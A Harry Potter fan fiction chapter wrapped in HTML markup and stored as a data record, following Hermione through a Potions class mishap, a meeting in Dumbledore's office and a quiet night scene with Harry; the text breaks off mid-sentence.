	(156, 1, '\n\n\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">A/N: Shock horror!\nThis DOESN&#8217;T belong to me. So there, you suer people.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">PLEASE NOTE!: The\nstart I have copied from another fic of mine, which I posted &#8211; but then\ndeleted. So no, I did not copy anyone else&#8217;s work, OK? It is loosely based on\nLooking for Alibrandi, a terrific read which I strongly recommend.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Panic was the\nfirst raw emotion which coursed through her veins.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione&#8217;s mind\nwent blank and all she could hear was a faint buzzing noise in her head &#8211; the\nsound of utter silence.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">She frowned at the\nset of questions in front of her. Multiple choice, she thought to herself.\nShould be easy enough, but she didn&#8217;t want to get any wrong. She looked around\nat the rest of the class; most of them head down and busily writing. She\nalready ruled out D and A, but she was tossing up between B and C. Hermione\nscarcely ever struggled when it came to school work, but this was different.\nVery different.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Granger?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Huh?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;You are reading?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">A slight pause.\n&#8216;Yes?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;May I ask Miss\nGranger, if what you are reading has anything to do with what we are talking\nabout?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione looked up\nat Professor Snape, the one and only teacher who didn&#8217;t like her at Hogwarts\nfor seven years. She was horrified about what was happening and wanted\ndesperately to sink through the floor, but he didn&#8217;t move.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Please read out\nto the class what you were reading,&#8217; he said icily</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione sighed\nand stood up. She cleared her throat. &#8216;Are you a trustable? If your friend&#8217;s\ntotally hot boyfriend put the moves on you at a party would you: A) Go with\nhim, B) Through your cocktail on his dress robes, C) Tell him in no uncertain\nterms about your loyalty to your friend or D) cause a big scene telling your\nfriend loudly.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">You could see why\nB and C were both distinct possibilities.&nbsp;\n</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">The class\nexchanged snide comments about Hermione getting into trouble firstly, and what\nshe was reading. Ron made a face at Snape.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;And what, may I\nask, Miss Granger,&#8217; said Snape in his oily voice, &#8216;does this have to do with\nPotions?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione looked\nthe class, Gryffindor with sympathy written on their faces and Slytherins\nsneering. They thought she was beaten. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Well, Professor,\nI was merely reading over the material for this class.&#8217; She started. &#8216;After\nall, we were talking about what has influenced us over the years and you only\nmentioned Potions. Well, I think the media is an integral part of what\ninfluences us as teenagers and merely wanted to bring it up for research\nmeasures and to show that it isn&#8217;t just Potions which can bring out truth and bravery,\netc. This magazine . . .&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">But he wasn&#8217;t\nfooled. &#8216;Twenty points from Gryffindor and detention, Granger.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione turned\nvery red and sat down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;I would have\npicked A.&#8217; said Pansy loudly. &#8216;But you wouldn&#8217;t have to worry Hermione, because\nit will never happen to you.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">But strangely\nenough, Snape didn&#8217;t notice.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione couldn&#8217;t\nquite say when things went wrong that morning.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">First of all, she\nwoke up three minutes late. It was generally agreed that Hermione had a perfect\ninternal clock, and she worried about this while doing her tie and brushing her\nhair &#8211; which thankfully, had tamed down to silky curls after many years of\nridicule. Her hair was once bushy and fluffy, and needed restraining at all\ntimes. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">So of course, when\nshe met Harry and Ron at breakfast all her favourite cantaloupe was gone. She\nhad to have watermelon instead, which wouldn&#8217;t have been so bad, but clumsy\nNeville spilt a glassful of milk on it. Needless to say, she didn&#8217;t have much\nof an appetite after that.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;He&#8217;s a slimy git,&#8217;\nsaid Ron comfortingly after class.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione winced.\n&#8216;My tummy rumbled.&#8217; She said. &#8216;I&#8217;m hungry.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Alert the media,&#8217;\nsaid Harry. &#8216;Hermione Granger is <i style="mso-bidi-font-style:normal">actually\n</i>hungry for once.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Shut it, Potter.&#8217;\nSaid Hermione. &#8216;Not everyone can have colossal appetite like you two.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;You have the\nappetite of a sparrow.&#8217; Said Ron. &#8216;A small one.&#8217; He added thoughtfully.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;As much as I\nenjoy your meticulous diagnosis of my eating habits, I am not going to talk to\nyou while I dig in.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">And so she did.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Ron was animatedly\nexplaining his new tactic for Harry while he listened, enthralled. After\nHermione and Harry had been appointed Head Girl and Head Boy respectively along\nwith &#8211; to their regret &#8211; Draco Malfoy (the position which Hermione was sure his\nfather blackmailed to make sure he got) and Hannah Abbot. Dumbledore had\ndecided to have four Heads of the school, because the workload was getting ever\nincreasing.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">To Ron&#8217;s delight,\nafter years of worshipping the game of Quidditch, he was Gryffindor Keeper as\nwell as the captain of the Gryffindor Quidditch team. As sympathetic as he was\nabout Hermione and Harry being within a fifty metre radius of Draco Malfoy&#8217;s\nliving quarters, he would happily chat with them in their Common Room until the\nlate hours of the night.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione was &#8211;\nsurprise, surprise &#8211; finishing off an assignment which Professor McGonagall\ngave that very day, which wouldn&#8217;t be due until four weeks time and\noccasionally casting amused looks over at the pair of Quidditch enthusiasts\nbefore her. In her opinion, Quidditch was another sport which she happened to\nlike watching from the firm, solid stands.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">At that moment,\nall seemed peaceful and happy enough. But while Hermione rolled up her\nparchment with a sense of satisfaction and while Harry and Ron chalked up a\nfantastic new attacking method for Chasers and while Hannah was asked out by\nJustin Finch-Fletchley; a tall silvery haired Slytherin was sitting by the\nwindow-sill and hating the world. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione sat down\nbeside Harry and they put their little blackboard away. Presently, they began\ntalking about anything and everything and their laughter rankled on Malfoy&#8217;s\nnerves. Harry&#8217;s smile faded away and he paused, his hands immediately flying to\nhis forehead where a certain scar burned white-hot.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Ron stopped\ntalking mid-sentence and Hermione stopped laughing.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Malfoy turned to\nlook at Harry who was pressing his hand to his forehead, Hermione with her arm\ngently on his back.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Ron looked at\nMalfoy long enough to shoot him a glance filled with loathing, and smirking in\nreturn, he swept up to his room.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry shakily\nwithdrew his hand and gulped. Hermione looked at him worriedly and Ron\nswallowed uneasily.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;It&#8217;s all right.&#8217;\nSaid Harry, quietly. &#8216;All gone.&#8217; He looked quickly at Hermione&#8217;s golden brown\nwhich looked at him so intensely and reverted his gaze back to his hands. He\ndidn&#8217;t need to get that funny feeling in the pit of his stomach like his\nsometimes did when he saw her at that moment.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione stood up\nand extended a hand to Harry. &#8216;Come on. Dumbledore told us to see him when this\nhappened.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Reluctantly, Harry\nrose and touching his scar lightly, they made their way to Dumbledore&#8217;s office.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Harry,&#8217; said\nSnape silkily. &#8216;To what do I owe the pleasure?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;We&#8217;ve come to see\nProfessor Dumbledore,&#8217; said Harry through gritted teeth. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Because his scar\nwas burning,&#8217; added Hermione.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Snape paused for a\nfraction of a second. &#8216;Come.&#8217; He said, giving the password (&#8216;Canary Cream.&#8217;)\nand they stepped onto the revolving staircase. &#8216;Your scar burned, Harry?&#8217; he\nsaid looking swiftly at his hairline and back down at Harry.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Yes.&#8217; Said Harry\nshortly.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione could see\nHarry&#8217;s fists clenching and unclenching as they whirled further up onto the\nlanding. Dumbledore looked up, mildly surprised at seeing the four of them there.\n&#8216;Yes?&#8217; he inquired, his blue eyes peering over their half-moon glasses.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;His scar was\nhurting.&#8217; Said Snape. &#8216;Sir, you don&#8217;t think . . .&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Ah.&#8217; Said\nDumbledore, his eyes glinting. &#8216;That would explain a lot. Serverus,&#8217; he said,\nhanding a newspaper clipping towards him. &#8216;It arrived about a minute before you\ndid.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Snape passed the\nclipping to Ron. Hermione and Harry looked over his shoulder and read it in\namazement. &#8216;Dark Mark Above Cornwall,&#8217; read Hermione slowly. Scanning the\narticle quickly, she added, &#8216;But no one was killed?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;No one.&#8217; Said\nDumbledore. &#8216;Now, listen carefully.&#8217; He said seriously, his blue eyes without a\nglimmer of humour in them. &#8216;I don&#8217;t want any of you to go looking for trouble.\nWe are doing the very best we can to protect you and I beg of you, don&#8217;t get <i style="mso-bidi-font-style:normal">angry</i>,&#8217; he said as his eyes rested on\nHarry&#8217;s. &#8216;Revenge is a dish best served cold.&#8217; </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry shuffled and\ncast his eyes to the floor.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Send me Mr.\nMalfoy,&#8217; said Dumbledore suddenly to Snape.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Snape left.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;I ask you please,\nnot to talk.&#8217; He said gently. &#8216;Whatever is said here is between us. Harry, a\nword.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Ron and Hermione\nleft quietly, looking back at Harry before stepping out into the corridor.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">They did not speak\nuntil they were at the portrait where the Head&#8217;s Common Room was. Ron paused.\n&#8216;Look, &#8216;Mione.&#8217; He said quietly. &#8216;I think I&#8217;ll just head up to bed, OK?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Of course.&#8217; Said\nHermione. She shivered and suddenly felt very cold.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Ron patted her on\nher shoulder and left, leaving Hermione alone in front of the portrait.\n&#8216;Pheonix.&#8217; She said and went into the room. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">She climbed into\nher favourite armchair by the fire and tossed a cozy blanket over her. She\nstared into the fire and curled her knees up to her chest. Her mind felt in a\nwhirl. She closed her eyes but all she could see were wounded bright green ones\nlooking straight back at her. She shook her head and summoned a hot chocolate\nfrom the kitchens and sipped it thoughtfully, her hands enjoying the warmth\nfrom it.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;So that&#8217;s where\nthat flying hot chocolate was off to.&#8217; Said Harry quietly, sitting in an\narmchair opposite.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">They sat in\nsilence for awhile. Hermione didn&#8217;t ask about what Dumbledore said to him and\nHarry certainly didn&#8217;t divulge anything. So they sat, locking eyes, almost\ntrying to read the other&#8217;s mind. Harry smiled slightly and sat up. &#8216;What do\nyou&#8217;ll do after Hogwarts?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;I don&#8217;t know . .\n.&#8217; mused Hermione, glad of a nice innocent topic of conversation. &#8216;I thought I\nmight teach, or maybe even go to the new University they&#8217;re opening in America.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Another Professor\nMcGongall?&#8217; said Harry a little thoughtlessly.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione\nstiffened. &#8216;She isn&#8217;t that bad.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry jerked his\nhead up. &#8216;No, I mean &#8211; she isn&#8217;t bad and you&#8217;re not but . . .well &#8211; you&#8217;re both\nperfect.&#8217; He said. &#8216;Like, perfect.&#8217; He added, amending. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione shook her\nhead. &#8216;Only because I work hard.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;No, no.&#8217; said\nHarry eagerly. &#8216;Not just in work. In everything, you&#8217;re nice and smart and beau\n. . .&#8217; he hesitated. &#8216;Beautiful.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Here they both\ncoughed and Hermione turned pink and Harry, well he was just plain embarrassed.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Flatterer.&#8217; Said\nHermione quickly, with her famous sarcasm. But it just didn&#8217;t click. It wasn&#8217;t\na time for sarcasm, she supposed.&nbsp; They\ndidn&#8217;t speak for awhile.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione watched\nthe fire flicker in Harry&#8217;s green eyes and saw the power behind them. She\nalmost got goose-bumps remembering the time when Malfoy was insulting her and\nRon, and Harry was fuming and all over a sudden the goblet in Malfoy&#8217;s hand\nexploded, sending a shower of pumpkin juice over him. Wandless magic. There was\njust so much power personified in the little boy in front of him.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">OK. So he wasn&#8217;t a\nlittle boy. Barely a boy at all. He had filled out and was still slender but\nvery strong. He wasn&#8217;t as tall and Ron certainly, but he was a centimetre away\nfrom six feet as Ron often teased him about from his lanky altitude of six foot\nfour and they both extremely tall from Hermione&#8217;s small frame. His black,\nglossy hair was still as messy as ever and his green eyes still as alluring. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione always\nfelt so safe, flanked on both sides by her two best friends &#8211; much to the\ndisgust of many girls who clamored after Harry&#8217;s good looks, charm and\nsuper-hero status. She didn&#8217;t blame them. She also didn&#8217;t blame the others who\nwere attracted to Ron&#8217;s easy going nature, either. She did wonder why girls\nthrew themselves on Malfoy, but he was very good-looking, besides being a jerk.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Bang.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">The portrait door\nswung open violently and the little girl in the portrait was scowling at Malfoy\nwho stalked into the room. Giving them a poisonous look &#8211; which Harry returned\n&#8211; he went soundlessly and wordlessly to bed.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione woke up\nin the middle of the night.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Not worrying about\ndressing gowns or slippers, she padded quietly to the Common Room, where she\nfound Harry asleep on the couch. He had fallen asleep after Hermione said good\nnight and went to bed, she guessed.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">The moonlight was\non his face, making it pale and childlike. Who knew the kind of pressure he\nwould be under. He stirred fretfully and tossed his head.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Taking the blanket\nthat she had left behind, she covered him gently with it. Not wanting to risk\nhim waking up, she stole away quietly when she heard his voice.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;No, please!&#8217; he\nmurmured &#8216;Don&#8217;t!&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione paused\nand turned around. Ready to explain what on earth she was doing, she opened her\nmouth.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">And closed it.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">He was talking in\nhis sleep. &#8216;No, I don&#8217;t want to die. . .&#8217; he voice was getting softer. &#8216;I need\n&#8211; I need . . .&#8217; he voice was rising.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Without thinking,\nHermione came towards him and rested her hand gently on his forehead, letting\nher fingers brush through his hair. He sighed and tossed once more. &#8216;It&#8217;s all\nright . . .&#8217; Hermione whispered.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;I can&#8217;t!&#8217; he\nsaid. &#8216;I can&#8217;t tell her. It&#8217;s my secret. Mine!&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione smoothed\nback his hair. &#8216;You&#8217;re talking nonsense.&#8217; She said, absently wondering who this\ngirl was and what secret he possessed.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;You&#8217;re right . .\n.you&#8217;re right,&#8217; said Harry. &#8216;As long &#8211; as long as we&#8217;re together . . .&#8217; </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione withdrew\nher hand quickly as his eyes fluttered open.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Harry, I . . .&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">But he was asleep.\nSound asleep.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry kicked off\nhis blankets and turned onto his side, curled up like a kitten. Hermione looked\nat him for a moment longer and pulled the blanket back on him. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">She left quietly,\nleaving him to sleep.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">As she climbed\nback in the bed, his words echoed over and over in her head. I don&#8217;t want to\ndie . . . his voice was pleading. She frowned and cuddled her blankets to her.\nWhat did You-Know-Who, Snape or anyone know of the Harry she did? In her mind,\nshe saw the childlike Harry sleeping and pleading not to die, the same Harry\nwho would joke and laugh with and the same Harry who had defeated the most\npowerful Dark Wizard when he was just a baby.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">He was like a\nrough cut diamond, so many sides and looking into it you could see many\ndifferent things. He was &#8211; he was &#8211;</p>\n\n<p class="MsoNormal" 